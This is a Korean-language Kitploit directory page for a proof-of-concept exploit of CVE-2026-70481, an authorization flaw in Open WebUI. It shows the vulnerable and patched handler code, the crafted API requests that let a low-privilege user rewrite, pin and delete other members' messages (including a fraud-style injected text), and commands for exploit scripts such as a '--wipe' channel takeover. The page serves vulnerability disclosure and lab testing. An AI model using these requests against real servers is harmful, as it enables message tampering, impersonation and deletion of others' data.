Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-70481 — Open WebUI의 권한 검증 결함에 대한 개념 증명(PoC) 익스플로잇으로, 낮은 권한을 가진 사용자가 조작된 API 호출을 통해 다른 구성원의 채널 메시지를 수정하고 삭제할 수 있습니다. | Kitploit
도구/GitHubGitHub/foxer131/cve-2026-70481
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingWeb SecurityPenetration Testing
GitHubfoxer131/cve-2026-70481

CVE-2026-70481

Open WebUI의 권한 검증 결함에 대한 개념 증명(PoC) 익스플로잇으로, 낮은 권한을 가진 사용자가 조작된 API 호출을 통해 다른 구성원의 채널 메시지를 수정하고 삭제할 수 있습니다.

저장소 보기
16일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-70481

Open WebUI, 영향을 받는 버전은 0.5.0~0.10.2이며, 0.11.0에서 패치되었습니다. 심각도 Moderate, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 및 CWE-862.

backend/open_webui/routers/channels.py에서 메시지 업데이트 및 삭제 핸들러는 채널 유형에 따라 분기하며, 두 분기는 서로 다른 조건을 검사합니다. 그룹 및 직접 메시지 채널은 작성자에게만 허용됩니다.

root@kitploit:~
if channel.type in ['group', 'dm']:
    if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Membership is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

표준 채널 분기는 쓰기 접근 권한만으로 통과되며, 쓰기 접근 권한은 게시를 위해 new_message_handler가 요구하는 바로 그 조건입니다. 따라서 말할 수 있는 권한이 다시 쓰기 및 삭제 권한으로 간주되었습니다. channel_has_access는 공개 권한뿐 아니라 사용자별 부여로도 충족되므로, 협력자가 있는 비공개 방도 공개 채널과 마찬가지로 영향을 받습니다. 업데이트 양식은 content, data, meta를 바인딩하지만, 모델 계층은 message.user_id를 건드리지 않으므로 수정된 메시지는 원래 작성자의 이름을 유지합니다.

공격은 그룹에 속하지 않고 소유한 것도 작성한 것도 없는 user 역할의 평범한 계정에서 이루어지는 세 번의 일반 API 호출입니다.

root@kitploit:~
POST   /api/v1/channels/<id>/messages/<victim_msg>/update
       {"content":"wire the funds to account 000",
        "data":{"attacker_injected":true},
        "meta":{"stored_payload":""}}   ->  200
POST   /api/v1/channels/<id>/messages/<victim_msg>/pin                           ->  200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete                         ->  200, true

0.11.0의 커밋 c609ec411은 검사를 분리합니다: 쓰기 접근을 먼저 확인한 다음 작성자 여부를 확인하며, 이는 그룹 분기와 일치합니다. 고정(pin) 기능은 설계상 쓰기 수준으로 유지됩니다.

root@kitploit:~
else:
    if user.role != 'admin' and not await channel_has_access(
        user.id, channel, permission='write', strict=False, db=db
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Write access is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

실행하기

root@kitploit:~
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
  -e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2

python3 prep/lab_setup.py                    # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py    # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe   # attacker, full channel takeover

2026년 8월 4일에 0.10.2를 대상으로 재실행되었습니다. 스크립트는 다른 구성원의 메시지를 삭제하므로, 반드시 일회용 로컬 인스턴스에서만 실행하십시오.

참조

https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7

https://www.cve.org/CVERecord?id=CVE-2026-70481

https://nvd.nist.gov/vuln/detail/CVE-2026-70481

도구 다운로드